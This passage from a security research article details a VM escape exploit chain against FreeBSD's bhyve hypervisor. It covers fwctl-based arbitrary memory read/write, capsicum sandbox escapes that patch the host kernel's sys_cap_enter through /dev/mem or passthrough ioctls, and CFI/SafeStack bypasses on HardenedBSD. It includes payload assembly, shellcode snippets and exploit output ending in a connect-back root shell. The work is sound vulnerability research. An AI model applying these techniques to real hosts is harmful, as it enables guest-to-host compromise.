out-of-bound write to a full process r/w. ----[ 7.1 - Analysis of memory layout in the bss segment Unlike the heap, the memory adjacent to 'fget_str' has a deterministic layout since it is allocated in the .bss segment. Moreover, FreeBSD does not have ASLR or PIE, which helps in the exploitation of the bug. Following memory layout was observed in the test environment: char fget_str[80]; struct { size_t f_sz; uint32_t f_data[1024]; } fget_buf; uint64_t padding; struct iovec fget_biov[2]; size_t fget_size; uint64_t padding; struct inout_handlers handlers[65536]; . . . struct mmio_rb_range *mmio_hint[VM_MAXCPU]; Guest will be able to overwrite everything beyond 'fget_str' array. Corrupting 'f_sz' or 'fget_size' is not very interesting as the name sounds. The first interesting target is the array of 'iovec' structures since it has a pointer 'iov_base' and length 'iov_len' which gets used in the RESP state of the device. struct iovec { void *iov_base; size_t iov_len; } However, the device never reaches the RESP state due to the large value of 'rinfo.req_size' (0xFFFFFFFF). The next interesting target in the array of 'inout_handlers' structure. +-----------------------------------------------------------------------+ | | |+------------++------------+ +--------------------------++---------+| || || | | || || ||fget_str[80]|| fget_buf |....|inout_handlers[0...0xffff]||mmio_hint|| || || | | || || |+------------++------------+ +--------------------------++---------+| | | +-----------------------------------------------------------------------+ ----[ 7.2 - Out of bound write to full process r/w Corrupting 'inout_handlers' structure provides useful primitives for exploitation as already detailed in section 4.2. In the VGA exploit, corrupting the 'arg' pointer of VGA I/O port allows the guest to access memory relative to the 'arg' pointer by accessing the 'dac_palette' array. This section describes how a full process r/w can be achieved. Let's analyze how the access to PCI I/O space BARs are emulated in bhyve. This is done using pci_emul_io_handler() in pci_emul.c: static int pci_emul_io_handler(struct vmctx *ctx, int vcpu, int in, int port, int bytes, uint32_t *eax, void *arg) { struct pci_devinst *pdi = arg; struct pci_devemu *pe = pdi->pi_d; . . . offset = port - pdi->pi_bar[i].addr; if (in) *eax = (*pe->pe_barread)(ctx, vcpu, pdi, i, offset, bytes); else (*pe->pe_barwrite)(ctx, vcpu, pdi, i, offset, bytes, *eax); . . . } Here, 'arg' is a pointer to 'pci_devinst' structure, which holds 'pci_bar' structure and a pointer to 'pci_devemu' structure. All these structures are defined in 'pci_emul.h': struct pci_devinst { struct pci_devemu *pi_d; . . . void *pi_arg; /* devemu-private data */ u_char pi_cfgdata[PCI_REGMAX + 1]; struct pcibar pi_bar[PCI_BARMAX + 1]; }; 'pci_devemu' structure has callbacks specific to each of the virtual devices. The callbacks of interest for this section are 'pe_barwrite' and 'pe_barread', which are used for handling writes and reads to BAR mapping I/O memory space: struct pci_devemu { char *pe_emu; /* Name of device emulation */ . . . /* BAR read/write callbacks */ void (*pe_barwrite)(struct vmctx *ctx, int vcpu, struct pci_devinst *pi, int baridx, uint64_t offset, int size, uint64_t value); uint64_t (*pe_barread)(struct vmctx *ctx, int vcpu, struct pci_devinst *pi, int baridx, uint64_t offset, int size); }; 'pci_bar' structure stores information about the type, address and size of BAR: struct pcibar { enum pcibar_type type; /* io or memory */ uint64_t size; uint64_t addr; }; By overwriting any 'inout_handlers->handler' with pointer to pci_emul_io_handler() and 'arg' with pointer to fake 'pci_devinst' structure, it is possible to control the calls to 'pe->pe_barread' and 'pe->pe_barwrite' and its arguments 'pi', 'offset' and 'value'. Next part of the analysis is to find a 'pe_barwrite' and 'pe_barread' callback useful for full process r/w. Bhyve has a dummy PCI device initialized in pci_emul.c which suits this purpose: #define DIOSZ 8 #define DMEMSZ 4096 struct pci_emul_dsoftc { uint8_t ioregs[DIOSZ]; uint8_t memregs[2][DMEMSZ]; }; . . . static void pci_emul_diow(struct vmctx *ctx, int vcpu, struct pci_devinst *pi, int baridx, uint64_t offset, int size, uint64_t value) { int i; struct pci_emul_dsoftc *sc = pi->pi_arg; . . . if (size == 1) { sc->ioregs[offset] = value & 0xff; } else if (size == 2) { *(uint16_t *)&sc->ioregs[offset] = value & 0xffff; } else if (size == 4) { *(uint32_t *)&sc->ioregs[offset] = value; . . . } static uint64_t pci_emul_dior(struct vmctx *ctx, int vcpu, struct pci_devinst *pi, int baridx, uint64_t offset, int size) { struct pci_emul_dsoftc *sc = pi->pi_arg; . . . if (size == 1) { value = sc->ioregs[offset]; } else if (size == 2) { value = *(uint16_t *) &sc->ioregs[offset]; } else if (size == 4) { value = *(uint32_t *) &sc->ioregs[offset]; . . . } pci_emul_diow() and pci_emul_dior() are the 'pe_barwrite' and 'pe_barread' callbacks for this dummy device. Since 'pci_devinst' structure is fake, 'pi->pi_arg' could be set to an arbitrary value. Read and write to 'ioregs' or 'memregs' could access any memory relative to the arbitrary address set in 'pi->pi_arg'. Guest can now overwrite the 'inout_handlers[0]' structure as detailed above and access I/O port 0 to trigger memory read or write relative to fake 'pi_arg'. Though this is good enough to exploit the bug, we still do not have full process arbitrary r/w. In order to access multiple addresses of choice, multiple fake 'pci_devinst' structure needs to be created, i.e. I/O port 0 with fake 'pi_arg' pointer to address X, I/O port 1 with fake pointer 'pi_arg' to address Y and so on. +------------------------------------------------------------------------+ | Representations | | +--------------+---+ +---------------+---+ | | | Fake | +--->+----+ | Fake | | | | | pci_devinst | | FI | | pci_devemu | | | | | +---------+ | |+--+| | +-----------+ | | | | | | pi_d | | ||PD|| | |pe_barread | | +--->+----+ | | | +---------+ | |+--+| | +-----------+ | | FE | | | | +---------+ | |+--+| | +-----------+ | +--->+----+ | | | | pi_arg | | ||PA|| | |pe_barwrite| | | | | | +---------+ | |+--+| | +-----------+ | | | | | | +--->+----+ | | | | | +--------------+---+ +---------------+---+ | | | | | | +---------------+--+ | | | Fake | | | | |inout_handlers | | | | | | | | | | | +--->+----+ | | | +------+ | | IO | | | | | arg | | +--->+----+ | | | +------+ | | | | | | | | | | | | | | +---------------+--+ | +------------------------------------------------------------------------+ Fake Structures +----------------------------------+ | | +------+---------------------------+ | | | | | +-------+------+--------------------+ | | | | | | | | +-----------------+-------+------+--------------------+------+------+---+ |+--------+ +-----+-------+------+-----------+ +--+--++--+--++--+--+| || | | | | | fget_buf | | || || || || | | +---v--++---v--++--v---++----+ | | || || || || | | | FI[0]|| FI[1]|| FI[N]|| | | | || || || || | | | +--+ || +--+ || +--+ || | | | || || || ||fget_str| | | |PD| || |PD| || |PD| || | | |IO[0]||IO[1]||IO[N]|| || | | | +--+ || +--+ || +--+ || FE | | | || || || || | | | +--+ || +--+ || +--+ || | | | || || || || | | | |PA| || |PA| || |PA| || | | | || || || || | | | +-++ || +-++ || +-++ || | | | || || || || | | +---+--++---+--++---+--++----+ | | || || || |+--------+ +-----+-------+-------+----------+ +-----++-----++-----+| +-----------------+-------+-------+-------------------------------------+ | | | | | | | | | v | | +---------+ | | |Address X| | | +---------+ | | v | +---------+ | |Address Y| | +---------+ | v +---------+ |Address N| +---------+ Instead, guest could create 2 fake 'pci_devinst' structure by corrupting 'inout_handlers' structures for I/O port 0 and 1. First 'pi_arg' could point to the address of 'fget_cnt'. fget_data() writes data into 'fget_str' array using 'fget_cnt' as index. Since 'fget_cnt' controls the relative write from 'fget_str', it can be used to modify second 'pi_arg' or any other memory adjacent to 'fget_str'. So, the idea is to perform the following - Corrupt inout_handlers[0] so that 'pi_arg' in 'pci_devinst' structure points to 'fget_cnt' - Corrupt inout_handlers[1] such that 'pi_arg' in 'pci_devinst' is initially set to NULL - Set fget_cnt value using I/O port 0, such that fget_str[fget_cnt] points to 'pi_arg' of I/O port 1 - Use fwctl write operation to set 'pi_arg' of I/O port 1 to arbitrary address - Use I/O port 1, to read or write to the address set in the previous step - Above 3 steps could be repeated to perform read or write to anywhere in memory - Alternatively, inout_handlers[0] could also be set up to write directly to 'pi_arg' of I/O port 1 Fake Structures +----------------------------+ | | +------+---------------------+ | | | | | +-------------------------------+------+---------------------+------+---+ | +--------+ +--------+ +----+------+------------+ +--+--++--+--+| | | | | | | | | fget_buf | | || || | | | | | |+---v--++--v---+ +----+ | | || || | | | | | || FI[0]|| FI[1]| | | | | || || | | | | | || +--+ || +--+ | | | | | || || | |fget_cnt| |fget_str| || |PD| || |PD| | | | | |IO[0]||IO[1]|| | | | | | || +--+ || +--+ | | FE | | | || || | | | | | || +--+ || +--+ | | | | | || || | | | | | || |PA| || |PA| | | | | | || || | | | | | || ++-+ || +^-+ | | | | | || || | | | | | |+--+---++--+-+-+ +----+ | | || || | +-+---^--+ +--------+ +---+-------+-+----------+ +-----++-----+| +---+---+----------------------+-------+-+------------------------------+ | | | | | | | | | | | | | | | | +----------------------+ | | | FI[0]->pi_arg | | | points to fget_cnt | | | to set index | | | | | +----------------------------------+ | fget_str[fget_cnt] | points to | FI[1]->pi_arg | | v +---------------+ | Arbitrary R/W | +---------------+ From here guest could re-use any of the technique used in VGA exploit for RIP and RSP control. The attached exploit code uses 'mmio_hint' overwrite. --[ 8 - Sandbox escape using PCI passthrough Bhyve added support for capsicum sandbox [9] through changes [10] [11]. Addition of capsicum is a huge security improvement as a large number of syscalls are filtered, and any code execution in bhyve is limited to the sandboxed process. The user space process enters capability mode after performing all the initialization in main() function of bhyverun.c: int main(int argc, char *argv[]) { . . . #ifndef WITHOUT_CAPSICUM . . . if (cap_enter() == -1 && errno != ENOSYS) errx(EX_OSERR, "cap_enter() failed"); #endif . . . } The sandbox specific code in bhyve is wrapped within the preprocessor directive 'WITHOUT_CAPSICUM', such that one can also build bhyve without capsicum support if needed. Searching for 'WITHOUT_CAPSICUM' in the codebase will give a fair understanding of the restrictions imposed on the bhyve process. The sandbox reduces capabilities of open file descriptors using cap_rights_limit(), and for file descriptors having CAP_IOCTL capability, cap_ioctls_limit() is used to whitelist the allowed set of IOCTLs. However, virtual devices do interact with kernel drivers in the host. A bug in any of the whitelisted IOCTL command could allow code execution in the context of the host kernel. This attack surface is dependent on the virtual devices enabled in the guest VM and the descriptors opened by them during initialization. Another interesting attack surface is the VMM itself. The VMM kernel module has a bunch of IOCTL commands, most of which are reachable by default from within the sandbox. This section details about a couple of sandbox escapes through PCI passthrough implementation in bhyve [12]. PCI passthrough in bhyve allows a guest VM to directly interact with the underlying hardware device exclusively available for its use. However, there are some exceptions: - Guest is not allowed to modify the BAR registers directly - Read and write access to the BAR and MSI capability registers in the PCI configuration space are emulated PCI passthrough devices are initialized using passthru_init() function in pci_passthru.c. passthru_init() further calls cfginit() to initialize MSI and BARs for PCI using cfginitmsi() and cfginitbar() respectively. cfginitbar() allocates the BAR in guest address space using pci_emul_alloc_pbar() and then maps the physical BAR address to the guest address space using vm_map_pptdev_mmio(): static int cfginitbar(struct vmctx *ctx, struct passthru_softc *sc) { . . . for (i = 0; i <= PCI_BARMAX; i++) { . . . if (ioctl(pcifd, PCIOCGETBAR, &bar) < 0) . . . /* Cache information about the "real" BAR */ sc->psc_bar[i].type = bartype; sc->psc_bar[i].size = size; sc->psc_bar[i].addr = base; /* Allocate the BAR in the guest I/O or MMIO space */ error = pci_emul_alloc_pbar(pi, i, base, bartype, size); . . . /* The MSI-X table needs special handling */ if (i == pci_msix_table_bar(pi)) { error = init_msix_table(ctx, sc, base); . . . } else if (bartype != PCIBAR_IO) { /* Map the physical BAR in the guest MMIO space */ error = vm_map_pptdev_mmio(ctx, sc->psc_sel.pc_bus, sc->psc_sel.pc_dev, sc->psc_sel.pc_func, pi->pi_bar[i].addr, pi->pi_bar[i].size, base); . . . } } vm_map_pptdev_mmio() API is part of libvmmapi library and defined in vmmapi.c. It calls VM_MAP_PPTDEV_MMIO IOCTL command to create the mappings for host memory in the guest address space. The IOCTL requires the bus, slot, func details of the passthrough device, the guest physical address 'gpa' and the host physical address 'hpa' as parameters: int vm_map_pptdev_mmio(struct vmctx *ctx, int bus, int slot, int func, vm_paddr_t gpa, size_t len, vm_paddr_t hpa) { . . . pptmmio.gpa = gpa; pptmmio.len = len; pptmmio.hpa = hpa; return (ioctl(ctx->fd, VM_MAP_PPTDEV_MMIO, &pptmmio)); } BARs for MSI-X Table and MSI-X Pending Bit Array (PBA) are handled differently from memory or I/O BARs. MSI-X Table is not directly mapped to the guest address space but emulated. MSI-X Table and MSI-X PBA could use two separate BARs, or they could be mapped to the same BAR. When mapped to the same BAR, MSI-X structures could also end up sharing a page, though the offsets do not overlap. So MSI-X emulation considers the below conditions: - MSI-X Table does not exclusively map a BAR - MSI-X Table and MSI-X PBA maps the same BAR - MSI-X Table and MSI-X PBA maps the same BAR and share a page The interesting case for sandbox escape is the emulation when MSI-X Table and MSI-X PBA share a page. Let's take a closer look at init_msix_table(): static int init_msix_table(struct vmctx *ctx, struct passthru_softc *sc, uint64_t base) { . . . if (pi->pi_msix.pba_bar == pi->pi_msix.table_bar) { . . . /* * The PBA overlaps with either the first or last * page of the MSI-X table region. Map the * appropriate page. */ if (pba_offset <= table_offset) pi->pi_msix.pba_page_offset = table_offset; else pi->pi_msix.pba_page_offset = table_offset + table_size - 4096; pi->pi_msix.pba_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, memfd, start + pi->pi_msix.pba_page_offset); . . . } . . . /* Map everything before the MSI-X table */ if (table_offset > 0) { len = table_offset; error = vm_map_pptdev_mmio(ctx, b, s, f, start, len, base); . . . /* Skip the MSI-X table */ . . . /* Map everything beyond the end of the MSI-X table */ if (remaining > 0) { len = remaining; error = vm_map_pptdev_mmio(ctx, b, s, f, start, len, base); . . . } All physical pages before and after the MSI-X table are directly mapped into the guest address space using vm_map_pptdev_mmio(). Access to PBA on page shared by MSI-X table and MSI-X PBA is emulated by mapping the /dev/mem interface using mmap(). Read or write to PBA is allowed based on the offset of memory access in the page and any direct access to MSI-X table on the shared page is avoided. The handle to /dev/mem interface is opened during passthru_init() and remains open till the lifetime of the process: #define _PATH_MEM "/dev/mem" . . . static int passthru_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts) { . . . if (memfd < 0) { memfd = open(_PATH_MEM, O_RDWR, 0); . . . cap_rights_set(&rights, CAP_MMAP_RW); if (cap_rights_limit(memfd, &rights) == -1 && errno != ENOSYS) . . . } There are two interesting things to notice in the overall PCI passthrough implementation: - There is an open handle to /dev/mem interface with CAP_MMAP_RW rights within the sandboxed process. FreeBSD does not restrict access to this memory file like Linux does with CONFIG_STRICT_DEVMEM - The VM_MAP_PPTDEV_MMIO IOCTL command maps host memory pages into the guest address space for supporting passthrough. However, the IOCTL does not validate the host physical address for which a mapping is requested. The host address may or may not belong to any of the BARs mapped by a device. Both of this can be used to escape the sandbox by mapping arbitrary host memory from within the sandbox. With the ability to read and write to an arbitrary physical address, the initial plan was to find and overwrite the 'ucred' credentials structure of the bhyve process. Searching through the system memory to locate the 'ucred' structure could be time-consuming. An alternate approach is to target some deterministic allocation in the physical address space. The kernel base physical address of FreeBSD x86_64 system is not randomized [13] and always starts at 0x200000 (2MB). Guest can overwrite host kernel's .text segment to escape the sandbox. To come up with a payload to disable capability lets analyze the sys_cap_enter() syscall. The sys_cap_enter() system call sets the CRED_FLAG_CAPMODE flag in 'cr_flags' element of 'ucred' structure to enable the capability mode. Below is the code from kern/sys_capability.c: int sys_cap_enter(struct thread *td, struct cap_enter_args *uap) { . . . if (IN_CAPABILITY_MODE(td)) return (0); newcred = crget(); p = td->td_proc; . . . newcred->cr_flags |= CRED_FLAG_CAPMODE; proc_set_cred(p, newcred); . . . } The macro 'IN_CAPABILITY_MODE()' defined in capsicum.h is used to verify if the process is in capability mode and enforce restrictions. #define IN_CAPABILITY_MODE(td) (((td)->td_ucred->cr_flags & CRED_FLAG_CAPMODE) != 0) To disable capability mode: - Overwrite a system call which is reachable from within the sandbox and takes a pointer to 'thread' (sys/sys/proc.h) or 'ucred' (sys/sys/ucred.h) structure as argument - Trigger the overwritten system call from the sandboxed process - Overwritten payload should use the pointer to 'thread' or 'ucred' structure to disable capability mode set in 'cr_flags' The ideal choice for this turns out to be sys_cap_enter() system call itself since its reachable from within the sandbox and takes 'thread' structure as its first argument. The kernel payload to replace sys_cap_enter() syscall code is below: root@:~ # gdb -q /boot/kernel/kernel Reading symbols from /boot/kernel/kernel...Reading symbols from /usr/lib/debug//boot/kernel/kernel.debug...done. done. (gdb) macro define offsetof(t, f) &((t *) 0)->f) (gdb) p offsetof(struct thread, td_ucred) $1 = (struct ucred **) 0x140 (gdb) p offsetof(struct ucred, cr_flags) $2 = (u_int *) 0x40 movq 0x140(%rdi), %rax /* get ucred, struct ucred *td_ucred */ xorb $0x1, 0x40(%rax) /* flip cr_flags in ucred */ xorq %rax, %rax ret Now either the open handle to /dev/mem interface or VM_MAP_PPTDEV_MMIO IOCTL command can be used to escape the sandbox. The /dev/mem sandbox escape requires the first stage payload executing within the sandbox to mmap() the page having the kernel code of sys_cap_enter() system call and then overwrite it: ---[ shellcode.c ]--- . . . kernel_page = (uint8_t *)payload->syscall(SYS_mmap, 0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, DEV_MEM_FD, sys_cap_enter_phyaddr & 0xFFF000); offset_in_page = sys_cap_enter_phyaddr & 0xFFF; for (int i = 0; i < sizeof(payload->disable_capability); i++) { kernel_page[offset_in_page + i] = payload->disable_capability[i]; } payload->syscall(SYS_cap_enter); . . . VM_MAP_PPTDEV_MMIO IOCTL sandbox escape requires some more work. The guest physical address to map the host kernel page should be chosen correctly. VM_MAP_PPTDEV_MMIO command is handled in vmm/vmm_dev.c by a series of calls ppt_map_mmio()->vm_map_mmio()->vmm_mmio_alloc(). The call of importance is 'vmm_mmio_alloc()' in vmm/vmm_mem.c: vm_object_t vmm_mmio_alloc(struct vmspace *vmspace, vm_paddr_t gpa, size_t len, vm_paddr_t hpa) { . . . error = vm_map_find(&vmspace->vm_map, obj, 0, &gpa, len, 0, VMFS_NO_SPACE, VM_PROT_RW, VM_PROT_RW, 0); . . . } The vm_map_find() function [14] is used to find a free region in the provided map 'vmspace->vm_map' with 'find_space' strategy set to VMFS_NO_SPACE. This means the MMIO mapping request will only succeed if there is a free region of the requested length at the given guest physical address. An ideal address to use would be from a memory range not allocated to system memory or PCI devices [15]. The first stage shellcode executing within the sandbox will map the host kernel page into the guest and returns control back to the guest OS. ---[ shellcode.c ]--- . . . payload->mmio.bus = 2; payload->mmio.slot = 3; payload->mmio.func = 0; payload->mmio.gpa = gpa_to_host_kernel; payload->mmio.hpa = sys_cap_enter_phyaddr & 0xFFF000; payload->mmio.len = getpagesize(); . . . payload->syscall(SYS_ioctl, VMM_FD, VM_MAP_PPTDEV_MMIO, &payload->mmio); . . . The guest OS then maps the guest physical address and writes to it, which in turn overwrites the host kernel pages: ---[ exploit.c ]--- . . . warnx("[+] Mapping GPA pointing to host kernel..."); kernel_page = map_phy_address(gpa_to_host_kernel, getpagesize()); warnx("[+] Overwriting sys_cap_enter in host kernel..."); offset_in_page = sys_cap_enter_phyaddr & 0xFFF; memcpy(&kernel_page[offset_in_page], &disable_capability, (void *)&disable_capability_end - (void *)&disable_capability); . . . Finally, the guest triggers the second stage payload to call sys_cap_enter() to disable the capability mode. Interestingly, the VM_MAP_PPTDEV_MMIO command sandbox escape will work even when an individual guest VM is not configured to use PCI passthrough. During initialization passthru_init() calls the libvmmapi API vm_assign_pptdev() to bind the device: static int passthru_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts) { . . . if (vm_assign_pptdev(ctx, bus, slot, func) != 0) { . . . } int vm_assign_pptdev(struct vmctx *ctx, int bus, int slot, int func) { . . . pptdev.bus = bus; pptdev.slot = slot; pptdev.func = func; return (ioctl(ctx->fd, VM_BIND_PPTDEV, &pptdev)); } Similarly, payload running in the sandboxed process can bind to a passthrough device using VM_BIND_PPTDEV IOCTL command and then use VM_MAP_PPTDEV_MMIO command to escape the sandbox. For this to work, some PCI device should be configured for passthrough in the loader configuration of the host [12] and not owned by any other guest VM. ---[ shellcode.c ]--- . . . payload->pptdev.bus = 2; payload->pptdev.slot = 3; payload->pptdev.func = 0; . . . payload->syscall(SYS_ioctl, VMM_FD, VM_BIND_PPTDEV, &payload->pptdev); payload->syscall(SYS_ioctl, VMM_FD, VM_MAP_PPTDEV_MMIO, &payload->mmio); . . . Running the VM escape exploit with PCI passthrough sandbox escape will give the following output: root@guest:~/setupB/fwctl_sandbox_bind_exploit # ./exploit 192.168.182.144 6969 exploit: [+] CPU affinity set to vCPU0 exploit: [+] Changing state to IDENT_SEND exploit: [+] Reading signature... exploit: [+] Received signature : BHYV exploit: [+] Set req_size value to 0xFFFFFFFF exploit: [+] Setting up fake structures... exploit: [+] Preparing connect back shellcode for 192.168.182.144:6969 exploit: [+] Sending data to overwrite IO handlers... exploit: [+] Overwriting mmio_hint... exploit: [+] Triggering MMIO read to execute sandbox bypass payload... exploit: [+] Mapping GPA pointing to host kernel... exploit: [+] Overwriting sys_cap_enter in host kernel... exploit: [+] Triggering MMIO read to execute connect back payload... root@guest:~/setupB/fwctl_sandbox_bind_exploit # root@guest:~ # nc -vvv -l 6969 Connection from 192.168.182.143 61608 received! id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) It is also possible to trigger a panic() in the host kernel from within the sandbox by adding a device twice using VM_BIND_PPTDEV. During the VM_BIND_PPTDEV command handling, vtd_add_device() in vmm/intel/vtd.c calls panic() if the device is already owned. I did not explore this further as it is less interesting for a complete sandbox escape. static void vtd_add_device(void *arg, uint16_t rid) { . . . if (ctxp[idx] & VTD_CTX_PRESENT) { panic("vtd_add_device: device %x is already owned by " "domain %d", rid, (uint16_t)(ctxp[idx + 1] >> 8)); } . . . } ---[ core.txt ]--- . . . panic: vtd_add_device: device 218 is already owned by domain 2 cpuid = 0 KDB: stack backtrace: #0 0xffffffff80b3d567 at kdb_backtrace+0x67 #1 0xffffffff80af6b07 at vpanic+0x177 #2 0xffffffff80af6983 at panic+0x43 #3 0xffffffff8227227c at vtd_add_device+0x9c #4 0xffffffff82262d5b at ppt_assign_device+0x25b #5 0xffffffff8225da20 at vmmdev_ioctl+0xaf0 #6 0xffffffff809c49b8 at devfs_ioctl_f+0x128 #7 0xffffffff80b595ed at kern_ioctl+0x26d #8 0xffffffff80b5930c at sys_ioctl+0x15c #9 0xffffffff80f79038 at amd64_syscall+0xa38 #10 0xffffffff80f57eed at fast_syscall_common+0x101 . . . --[ 9 - Analysis of CFI and SafeStack in HardenedBSD 12-CURRENT Bhyve in HardenedBSD 12-CURRENT comes with mitigations like ASLR, PIE, clang's Control-Flow Integrity (CFI) [16], SafeStack etc. Addition of mitigations created a new set of challenge for exploit development. The initial plan was to test against these mitigations using CVE-2018-17160 [21]. However, turning CVE-2018-17160 into an information disclosure looked less feasible during my analysis. To continue the analysis further, I reverted the patch for VGA bug (FreeBSD-SA-16:32) [1] for information disclosure. Now we have a combination of two bugs, VGA bug to disclose bhyve base address and fwctl bug for arbitrary r/w. During an indirect call, CFI verifies if the target address points to a valid function and has a matching function pointer type. All the details mentioned in section 7.2 for achieving arbitrary read and write works even under CFI once we know the bhyve base address. The function pci_emul_io_handler() used to overwrite the 'handler' in 'inout_handlers' structure and functions pci_emul_dior(), pci_emul_diow() used in fake 'pci_devemu' structure, all have matching function pointer types and does not violate CFI rules. For making indirect function calls, CFI instrumentation generates a jump table, which has branch instruction to the actual target function [17]. It is this address of jump table entries which are valid targets for CFI and should be used when overwriting the callbacks. Symbols to the target function are referred to as *.cfi. Since radare2 does a good job in analyzing CFI enabled binaries, jump tables can be located by finding references to the symbols *.cfi. # r2 /usr/sbin/bhyve [0x0001d000]> o /usr/lib/debug/usr/sbin/bhyve.debug [0x0001d000]> aaaa [0x0001d000]> axt sym.pci_emul_diow.cfi sym.pci_emul_diow 0x64ca8 [code] jmp sym.pci_emul_diow.cfi [0x0001d000]> axt sym.pci_emul_dior.cfi sym.pci_emul_dior 0x64c60 [code] jmp sym.pci_emul_dior.cfi Rest of the section will detail about targets to overwrite when CFI and SafeStack are in place. All the previously detailed techniques will no longer work. CFI bypasses due to lack of Cross-DSO CFI is out of scope for this research. ----[ 9.1 - SafeStack bypass using neglected pointers SafeStack [18] protects against stack buffer overflows by separating the program stack into two regions - safe stack and unsafe stack. The safe stack stores critical data like return addresses, register spills etc. which need protection from stack buffer overflows. For protection against arbitrary memory writes, SafeStack relies on randomization and information hiding. ASLR should be strong enough to prevent an attacker from predicting the address of the safe stack, and no pointers to the safe stack should be stored outside the safe stack itself. However, this is not always the case. There are a lot of neglected pointers to the safe stack as already demonstrated in [19]. Bhyve stores pointers to stack data in global variables during its initialization in main 'mevent' thread. Some of the pointers are 'guest_uuid_str', 'vmname', 'progname' and 'optarg' in bhyverun.c. Other interesting variables storing pointers to the stack are 'environ' and '__progname': root@renorobert:~ # gdb -q -p `pidof bhyve` Attaching to process 62427 Reading symbols from /usr/sbin/bhyve...Reading symbols from /usr/lib/debug//usr/sbin/bhyve.debug...done. done. . . . (gdb) x/gx &progname 0x262fbe9b600 <progname>: 0x00006dacc2a15a40 'mevent' thread also stores a pointer to pthread structure in 'mevent_tid' declared in mevent.c: static pthread_t mevent_tid; . . . void mevent_dispatch(void) { . . . mevent_tid = pthread_self(); . . . } The arbitrary read primitive created from fwctl bug can disclose the safe stack address of 'mevent' thread by reading any of the variables mentioned above. Let's consider the case of 'mevent_tid' pthread structure. The 'pthread' and 'pthread_attr' structures are defined in libthr/thread/thr_private.h. The useful elements for leaking stack address include 'unwind_stackend', 'stackaddr_attr' and 'stacksize_attr'. Below is the output of the analysis from gdb and procstat: (gdb) print ((struct pthread *)mevent_tid)->unwind_stackend $3 = (void *) 0x6dacc2a16000 (gdb) print ((struct pthread *)mevent_tid)->attr.stackaddr_attr $4 = (void *) 0x6dac82a16000 (gdb) print ((struct pthread *)mevent_tid)->attr.stacksize_attr $5 = 1073741824 (gdb) print ((struct pthread *)mevent_tid)->attr.stackaddr_attr + ((struct pthread *)mevent_tid)->attr.stacksize_attr $6 = (void *) 0x6dacc2a16000 root@renorobert:~ # procstat -v `pidof bhyve` . . . 62427 0x6dac82a15000 0x6dac82a16000 --- 0 0 0 0 ---- -- 62427 0x6dac82a16000 0x6dacc29f6000 --- 0 0 0 0 ---- -- 62427 0x6dacc29f6000 0x6dacc2a16000 rw- 3 3 1 0 ---D df Once the safe stack location of 'mevent' thread is leaked, arbitrary write can be used to overwrite the return address of any function call. It is also possible to calculate the safe stack address of other threads since they are relative to address of 'mevent' thread's safe stack. Next, we should find a target function call to overwrite the return address. The event dispatcher function mevent_dispatch() (section 3.2) goes into an infinite loop, waiting for events using a blocking call to kevent(): void mevent_dispatch(void) { . . . for (;;) { . . . ret = kevent(mfd, NULL, 0, eventlist, MEVENT_MAX, NULL); . . . mevent_handle(eventlist, ret); } } Overwriting the return address of the blocking call to kevent() gives RIP control as soon as an event is triggered in bhyve. Below is the output of the proof-of-concept code demonstrating RIP control: root@guest:~/setupC/cfi_safestack_bypass # ./exploit exploit: [+] Triggering info leak using FreeBSD-SA-16:32.bhyve... exploit: [+] mevent located @ offset = 0x1df58 exploit: [+] Leaked power_handler address = 0x262fbc43ae0 exploit: [+] Bhyve base address = 0x262fbbdf000 exploit: [+] Changing state to IDENT_SEND exploit: [+] Reading signature... exploit: [+] Received signature : BHYV exploit: [+] Set req_size value to 0xFFFFFFFF exploit: [+] Setting up fake structures... exploit: [+] Sending data to overwrite IO handlers... exploit: [+] Leaking safe stack address by reading pthread struct... exploit: [+] Leaked safe stack address = 0x6dacc2a16000 exploit: [+] Located mevent_dispatch RIP... root@renorobert:~ # gdb -q -p `pidof bhyve` Attaching to process 62427 Reading symbols from /usr/sbin/bhyve...Reading symbols from /usr/lib/debug//usr/sbin/bhyve.debug...done. done. . . . [Switching to LWP 100082 of process 62427] _kevent () at _kevent.S:3 3 _kevent.S: No such file or directory. (gdb) c Continuing. Thread 1 "mevent" received signal SIGBUS, Bus error. 0x000002e5ed0984f8 in __thr_kevent (kq=<optimized out>, changelist=<optimized out>, nchanges=<optimized out>, eventlist=<optimized out>, nevents=<optimized out>, timeout=0x6dacc2a15700) at /usr/src/lib/libthr/thread/thr_syscalls.c:403 403 } (gdb) x/i $rip => 0x2e5ed0984f8 <__thr_kevent+120>: retq (gdb) x/gx $rsp 0x6dacc2a156d8: 0xdeadbeef00000000 ----[ 9.2 - Registering arbitrary signal handler using ACPI shutdown For the next bypass, let's revisit the smi_cmd_handler() detailed in section 3.2. Writing the value 0xa1 (BHYVE_ACPI_DISABLE) to SMI command port not only removes the event handler for SIGTERM, but also registers a signal handler. static sig_t old_power_handler; . . . static int smi_cmd_handler(struct vmctx *ctx, int vcpu, int in, int port, int bytes, uint32_t *eax, void *arg) { . . . case BHYVE_ACPI_DISABLE: . . . if (power_button != NULL) { mevent_delete(power_button); power_button = NULL; signal(SIGTERM, old_power_handler); . . . } 'old_power_handler' can be overwritten using the arbitrary write provided by fwctl bug. The call to signal() thus uses the overwritten value, allowing the guest to register an arbitrary address as a signal handler for SIGTERM signal. The plan is to invoke the arbitrary address through the signal trampoline which does not perform CFI validations. The signal trampoline code invokes the signal handler and then invokes sigreturn system call to restore the thread's state: 0x7fe555aba000: callq *(%rsp) 0x7fe555aba003: lea 0x10(%rsp),%rdi 0x7fe555aba008: pushq $0x0 0x7fe555aba00a: mov $0x1a1,%rax 0x7fe555aba011: syscall However, call to signal() does not directly invoke the sigaction system call. The libthr library on load installs interposing handlers [20] for many functions in libc, including sigaction(). int sigaction(int sig, const struct sigaction *act, struct sigaction *oact) { return (((int (*)(int, const struct sigaction *, struct sigaction *)) __libc_interposing[INTERPOS_sigaction])(sig, act, oact)); } The libthr signal handling code is implemented in libthr/thread/thr_sig.c. The interposing function __thr_sigaction() stores application registered signal handling information in an array '_thr_sigact[_SIG_MAXSIG]'. libthr also registers a single signal handler thr_sighandler(), which dispatches to application registered signal handlers using the information stored in '_thr_sigact'. When a signal is received, thr_sighandler() calls handle_signal() to invoke the respective signal handler through an indirect call. static void handle_signal(struct sigaction *actp, int sig, siginfo_t *info, ucontext_t *ucp) { . . . sigfunc = actp->sa_sigaction; . . . if ((actp->sa_flags & 